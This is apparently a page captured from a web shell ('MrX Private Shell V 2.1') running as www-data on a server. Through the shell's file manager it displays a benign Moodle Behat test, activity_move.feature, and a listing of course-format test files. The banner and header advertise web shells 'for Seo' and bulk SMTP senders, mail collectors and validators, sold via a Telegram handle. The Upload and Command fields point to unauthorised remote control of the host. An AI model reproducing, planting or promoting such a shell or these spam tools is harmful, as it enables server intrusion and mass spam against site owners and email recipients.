__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.216.148: ~ $
@core @core_course @core_courseformat
Feature: Activities can be moved between sections
  In order to rearrange my course contents
  As a teacher
  I need to move activities between sections

  Background:
    Given the following "users" exist:
      | username | firstname | lastname | email |
      | teacher1 | Teacher | 1 | teacher1@example.com |
    And the following "course" exists:
      | fullname      | Course 1 |
      | shortname     | C1       |
      | format        | topics   |
      | coursedisplay | 0        |
      | numsections   | 5        |
      | initsections  | 1        |
    And the following "course enrolments" exist:
      | user | course | role |
      | teacher1 | C1 | editingteacher |
    And the following "activities" exist:
      | activity | name              | course | idnumber | section |
      | forum    | Test forum name   | C1     | 00001    | 1       |
      | forum    | Second forum name | C1     | 00002    | 1       |
      | forum    | Third forum name  | C1     | 00002    | 3       |
      | forum    | Fourth forum name | C1     | 00002    | 3       |
    And I log in as "teacher1"
    And I am on "Course 1" course homepage with editing mode on

  @javascript
  Scenario: Move activity step test
    When I move "Test forum name" activity to section "3"
    Then I should see "Test forum name" in the "Section 3" "section"
    And "Test forum name" "activity" should appear before "Third forum name" "activity"

  @javascript
  Scenario: The teacher can move an activity to another section using the activity action menu
    When I open "Test forum name" actions menu
    And I click on "Move" "link" in the "Test forum name" activity
    And I click on "Section 3" "link" in the "Move activity" "dialogue"
    Then  I should see "Test forum name" in the "Section 3" "section"

  @javascript
  Scenario: The teacher can reorder activities in the same section using the activity action menu
    Given "Test forum name" "activity" should appear before "Second forum name" "activity"
    When I open "Test forum name" actions menu
    And I click on "Move" "link" in the "Test forum name" activity
    And I click on "Second forum name" "link" in the "Move activity" "dialogue"
    Then  I should see "Test forum name" in the "Section 1" "section"
    And "Second forum name" "activity" should appear before "Test forum name" "activity"

  @javascript
  Scenario: The teacher can move an in the middle of a section using the activity action menu
    When I open "Test forum name" actions menu
    And I click on "Move" "link" in the "Test forum name" activity
    And I click on "Expand" "link" in the "movemodalsection3" "region"
    And I click on "Third forum name" "link" in the "Move activity" "dialogue"
    Then  I should see "Test forum name" in the "Section 3" "section"
    And "Third forum name" "activity" should appear before "Test forum name" "activity"
    And "Test forum name" "activity" should appear before "Fourth forum name" "activity"

Filemanager

Name Type Size Permission Actions
activity_groupmode.feature File 7.3 KB 0644
activity_icon_tooltip.feature File 2.6 KB 0644
activity_move.feature File 2.94 KB 0644
activity_nonajax_edit.feature File 5.94 KB 0644
activity_visibility.feature File 4.46 KB 0644
behat_courseformat.php File 2.4 KB 0644
bulk_activity_actions.feature File 10.96 KB 0644
bulk_section_actions.feature File 13.41 KB 0644
bulk_select.feature File 13.2 KB 0644
bulk_show_one_section_actions.feature File 5.8 KB 0644
content_preferences.feature File 4.33 KB 0644
course_courseindex.feature File 22.72 KB 0644
course_manageactivities.feature File 3.69 KB 0644
courseindex_completion.feature File 8.01 KB 0644
courseindex_keyboardnav.feature File 5.02 KB 0644
courseindex_language.feature File 1.46 KB 0644
coursepage_completion.feature File 10.77 KB 0644
duplicate_section.feature File 2.01 KB 0644
movecm_keyboard.feature File 4.58 KB 0644
movesection_keyboard.feature File 2.45 KB 0644
section_move.feature File 2.11 KB 0644
section_nonajax_edit.feature File 2.59 KB 0644
section_page.feature File 6.58 KB 0644
section_visibility.feature File 5.47 KB 0644
Filemanager